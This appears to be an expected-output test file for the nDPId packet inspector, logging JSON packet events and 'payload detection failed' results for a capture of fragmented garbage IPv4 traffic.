+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912713,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912723,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912758,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912794,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1275,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912819,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1276,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1277,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912847,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1278,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912858,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1279,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1280,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912881,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1281,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1282,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1283,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1284,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912932,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1285,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1286,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912955,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1287,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912967,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1288,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1289,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":912991,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1290,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913007,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1291,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1292,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1293,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1294,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1295,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1296,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913080,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1297,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1298,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913104,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1299,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1300,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":913127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1301,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 